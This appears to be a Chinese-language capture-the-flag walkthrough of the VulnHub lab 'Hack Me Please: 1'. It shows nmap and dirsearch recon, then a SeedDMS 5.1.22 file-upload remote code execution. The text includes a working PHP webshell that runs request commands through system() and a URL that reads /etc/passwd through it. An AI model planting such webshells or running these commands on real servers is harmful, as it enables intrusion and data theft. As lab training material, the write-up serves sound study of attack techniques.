Hack Me Please: 1靶场渗透测试

Hack Me Please: 1

来自 <https://www.vulnhub.com/entry/hack-me-please-1,731/>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.195

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.195

HTTP (80/tcp)

MySQL (3306/tcp)

版本: 8.0.25（Ubuntu定制版）。
认证插件: caching_sha2_password（MySQL 8默认插件，旧客户端可能不支持）。
SSL支持: 已启用，证书为自签名（CN=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate）。
潜在风险: 若允许远程访问，需确保强密码策略并限制IP访问。

33060/tcp

4，80端口存在的http服务，是一个比较精美的web网站页面

对网站子目录进行枚举扫描

dirsearch -u http://192.168.23.195 -x 404,403,500

只扫描出来了一些目录，那就对这些子目录进一步探测

dirsearch -u http://192.168.23.195/js -x 404,403,500

main.js可能暗示了这是网站代码的入口？不管了，访问看看

/seeddms51x/seeddms-5.1.22/ 是一个典型的Web路径，指向 SEEDDMS文档管理系统 的特定版本目录。以下是关键信息解析：

1. 软件背景

5，信息收集扩大了我们的攻击面，再来搜索这个软件版本公开的漏洞

searchsploit seeddms

可以看到存在远程命令执行漏洞，来阅读这个漏洞利用文本

searchsploit -m 47022.txt

漏洞概述

攻击步骤分析

Step 1: 登录并上传恶意文件

攻击者首先需要登录到 SeedDMS 应用程序，并在某个文件夹下添加一个文档。SeedDMS 允许用户上传各种类型的文件，而该版本存在上传文件格式未严格验证的问题。

Step 2: 上传一个 PHP 后门文件

攻击者可以上传一个PHP Webshell（后门），使其在服务器上被执行。示例 PHP 代码如下：

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

为什么这个文件会被 SeedDMS 接受？

Step 3: 查找文档 ID

Step 4: 远程执行命令

一旦攻击者获取到上传文件的 URL，便可以远程执行系统命令。

例如，攻击者可以访问以下 URL 运行 cat /etc/passwd 命令：

http://example.com/data/1048576/{document_id}/1.php?cmd=cat+/etc/passwd

漏洞根本原因

文件上传没有严格验证：
- SeedDMS 允许上传任意格式的文件，而没有检查扩展名或 MIME 类型。
- 服务器端也没有限制可执行文件的存储路径。
上传目录对外可访问：
- SeedDMS 将上传的文件存储在 data/1048576/ 目录下，并且可以通过 URL 直接访问。
Web 服务器执行 PHP 文件：
- 由于 PHP 文件可以上传到公开访问的目录，并且服务器允许执行 .php 文件，因此可以造成 RCE。